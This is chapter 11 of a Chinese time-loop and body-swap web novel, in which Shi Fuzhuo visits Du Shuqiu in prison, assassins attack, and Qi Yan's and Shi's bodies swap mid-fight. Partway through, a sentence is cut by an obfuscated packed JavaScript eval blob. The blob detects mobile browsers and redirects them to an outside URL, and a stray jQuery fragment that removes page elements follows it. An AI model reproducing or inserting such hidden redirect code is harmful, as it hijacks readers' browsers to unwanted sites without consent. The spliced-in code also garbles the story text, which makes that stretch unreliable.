11. 第11章
作品:《首辅今天做善事了吗》 走了很久,施芙灼突然平地踉跄,手快的扶住冰冷的墙壁,脸色也不是很好看。她强撑了好一会儿,如今腿软得紧。
祁延狠戾审囚犯的模样在她脑海中一闪而过,倒也不是十分害怕,只是难免勾出一些不快的记忆。
那柄短刀仿佛刺入的不是囚犯的肩胛骨,而是她的心脏,密密麻麻的疼痛从心口传至大脑,让她脑袋充血般,青筋直跳。
施芙灼揉了揉胸口,闷得有些喘不上气:被祁延杀了十数次的心理阴影,到底何时才能散去?
狱卒发现施芙灼没跟上,跑回来喊了几声,才将陷入沉思的人喊回了魂。
“前面转个弯就到了,姑娘怎的还跟丢了?”
确如狱卒所言,杜舒秋住的牢房就在前面几步路的地方,听到了这边的动静她还自己走了出来。
施芙灼对上杜舒秋好奇的双眼,有些沉默了。她同杜舒秋也仅是见过三面,两次在生辰宴上,都并未有过多交际,甚至话都没说上一句。第三次见到的是杜舒秋的尸体,更没了解的机会。
如今一见,多少带了审视,从这双眼睛中,竟看出了清澈愚蠢。不论从何角度思考,施芙灼都不认为这是一个经历无数刺杀循环后,该有的脾性。
“你是……”杜舒秋对施芙灼并没有什么印象,生辰宴上都想着怎么逃命了,哪儿还有闲心关注其它。
也因此,她并没有注意到前两次生辰宴刺杀循环里都出现了的施芙灼,第三次开始就没再出现的异常情况。
“抢了你18年富贵生活的假千金。”施芙灼没好气的瞪了杜舒秋一眼,对突然改变的生活,她的怨气并不小。若不是清楚知道不可挽回,她才不会轻易让位。
杜舒秋转身就跑,躲进牢房里,锁上牢门。
施芙灼:“……”
她是什么恶鬼蛇蝎吗?
施芙灼跟上去,将牢房情况都看了个清楚,除了地点不对,就是一个舒适的贵女闺房,无一丝牢房之气。转瞬便想明白,杜舒秋这是把大理狱当避难所了,并非遇上什么事了。
“得知你把自己折腾进了大理狱,娘让我来看看你。”
“娘?”杜舒秋茫然,但也舒了口气,来人不是来杀她的,也不是以前熬夜追更的话本子里的恶毒假千金人设。
“琴娘,你养母,不是尚书夫人。”
“哦!我没事,我自己想来这里住一段时间,你们别担心。”
施芙灼瞥了一眼杜舒秋紧张得扣牢门的手,又将其慌乱避开对视的模样尽收眼底,奇怪,太奇怪了。
言语上熟络,但肢体行为又透露出对琴娘的生疏。面对一个一起生活了18年,关系还很不错的养母的关心,不应该是这样的反应。
“你……”
“小心!”
施芙灼话还没说完,就被狱卒的惊恐声打断,背后莫名发凉,本能往左侧身,一柄泛着冷芒的大刀从她面前砍过。
“哐!”刀锋与铁锁相撞,刚还阻拦她进牢门的铁锁瞬间碎裂,无力的垂落。
施芙灼被激起一层一层的鸡皮,若是再晚一步,她此时已经身首异处,也或许被劈成两半。
好在这刺客的首要目的不是她,哪怕离得最近,仍旧直冲杜舒秋,也或许仅仅是想把施芙灼留给身后的同伴处理。
施芙灼想赶紧离开这里,她不像杜舒秋一般,死了还能重来。留下来也帮不上什么忙,不如早点想办法脱身,对于杜舒秋,她只能心中说声抱歉,
然而,此时已经没有了退路,方才劈向施芙灼的刺客只是第一个,他身后跟着的几个黑衣蒙面刺客正以围堵之态冲来。
施芙灼不敢赌这些人在经过她时,会手下留情。似乎除了进杜舒秋所在的牢房,她别无选择。
一息间,施芙灼头也不回的冲进了牢房,绕过被刺客追得四处跑的杜舒秋,和拼死相护的狱卒,躲到了案桌下面,只希望在场人都遗忘她的存在。
倏尔发现手掌下压着一张手稿,上面的字都缺胳膊少腿的,还很像刚学写字的幼童所写。施芙灼勉强辨认,上面简单记录了杜舒秋对循环的一些推理,这牢房中又只有杜舒秋,此稿何人所写,显而易见。
施芙灼见过杜舒秋的字迹,她在施家成衣铺的房间,以前就是杜舒秋所住,屋内遗留了一些手稿,字迹软绵绵的,虽不算好看,但也不是如今这般丑。
难道此人不是真正的杜舒秋?但她的长相不可能有假,尚书府也不可能再允许出错,认回之前必定做过确认。
施芙灼将怀疑藏在心底,手稿也放回了原位,事情真是越来越复杂了。
不过一会儿的时间,听到动静狱卒们赶了过来,场面更混乱起来,随处可见刀光剑影。
透过缝隙,施芙灼看到了气定神闲得像是在自家散步的祁延,和在他身旁拔刀开路的李禧,以及急得直擦汗的大理寺卿。
正觉得应是得救之时,一名刺客倒在她面前,眼睛死不瞑目的直愣愣的盯着施芙灼。
“啊!”
施芙灼何时见过这般场面,吓得后移了一段距离,刚好从桌案下露出。
下一瞬便被拉起,刀架在了脖子上。
刺客自知对方人多势众,硬拼之下或许有机会将杜舒秋杀了,但绝对逃不出这大理狱,二话不说将施芙灼和杜舒秋两人都挟持了。
“兄台,你抓我没用,我只是普通商女。”被祁延杀了几次,施芙灼也算是锻炼出了些冷静,被刀抵着也能保持点镇定。
一边说着话,一边悄悄的摸上了褡裢。
刀锋贴得更近,有血从施芙灼的脖颈处留下,疼得她想倒吸口冷气,但又硬生生忍住。
刺客并没有相信施芙灼的话,冲她姣好的样貌,金贵的头面和价值不菲的衣料,以及细嫩的肌肤,就不像是寻常人家的女子,认定了施芙灼地位不低。
祁延接过弓箭,看着杜舒秋:“你们想杀她?”
“放我们走,我就放了她们两个。”
杜舒秋急道:“他们说谎!放他们走,也会立刻杀了我。”
刺客勒紧杜舒秋,下起手来,可比对施芙灼狠多了:“闭嘴,信不信我现在就杀了你!”
施芙灼翻了个白眼,杜舒秋这个时候开口捣什么乱,就不知道先顺着这些人吗?难怪每次循环事件都能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124251|164316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死那么多次,她不冤。
明明也是被挟持的人质之一,施芙灼好似没什么存在感一般,趁众人的注意力都不在她身上,手已经伸进了褡裢里,摸到了防身用的辣椒粉。
“一个刚认回来的尚书嫡女,一个小商女,呵,擅闯大理狱,你们以为挟持了她们,就可以脱身?”
祁延拉开长弓,对准了杜舒秋的心脏,只需要他松手,就能将杜舒秋连同挟持她的刺客射穿:“既是想杀她,我便帮你们。”
“大人不可啊!”大理寺卿想也不想就要去拉祁延,被李禧眼疾手快的拦住。
偷偷自救的施芙灼也惊住了,一时间忘了动作。祁延眼底的杀气她再熟悉不过,这不是缓兵之计,祁延是真的要在这里杀了杜舒秋。
为什么?!尚书嫡女何其尊贵,祁延在这里将人杀了,不要命了吗?!
施芙灼忽然想到早已定罪,今日却又被酷刑相待的司天台少监,或许他是被祁延再审了。
祁延是知道什么了吗?所以才这般想杀杜舒秋。
在场人都没想到祁延会是这般行径,刺客一时也乱了阵脚,挟持人质的两个刺客互相对看了一眼,在思考要不要直接杀了人质强行冲出去,寻一线生机。
大理寺卿瘫坐在地上,把他的乌纱帽都取了下来,他活不过今天了。
杜舒秋放弃的闭眼,已经接受自己又要死一次了。
施芙灼捏紧了辣椒粉,也觉着要重开了,已经开始思考待会儿用什么理由可以合理的提前离开大理狱又不让杜舒秋察觉异常。
祁延捏着箭的手往后用力一拉到合适的位置,微松之时,熟悉的吸力自灵魂传来,瞬间视觉转换。
他甚至没有一息的怔愣,瞬间将握着辣椒粉的手从褡裢里抽出,利落的撒向刺客的眼睛,下一瞬灵活的夺过刺客手中的刀。
在挟持杜舒秋的刺客还没反应过来之际,挥刀而去,逼得刺客条件反射的推开杜舒秋,躲开攻击。
周围狱卒见此,一拥而上,迅速占据上风。
而施芙灼没有祁延那个适应速度,看见箭对准杜舒秋,下意识的捏紧了刚放松一些的手,慌忙的把弓箭放下,然后就茫然的看着局势反转。
若不是当事人,她都要相信这是祁延早有预料,提前计划好的了。
“大人当真是神机妙算,临危不乱!下官佩服!”
“呃……”面对表情骤变,喜笑颜开拍马屁的大理寺卿,施芙灼实在不知该说什么,她现在真的很茫然。
“姑娘巾帼不让须眉,在下也十分敬佩。”大理寺卿对此刻在施芙灼身体里的祁延也是毫不吝啬的夸奖,“两位的默契当真是天下一绝!”
施芙灼:“……”
祁延揉了揉肩,施芙灼的身体和他的身体自然不能比,哪怕祁延有经验,这样几下打斗下来,已是极限。
祁延冷冷的看向施芙灼:“回了。”
“哦。”施芙灼乖乖的跟在后面,周围人的眼神瞬间诡异起来。
“祁大人和施姑娘,他们是不是……”
“嘶……”没人敢接着说,他们似乎知道了些不该知道的事。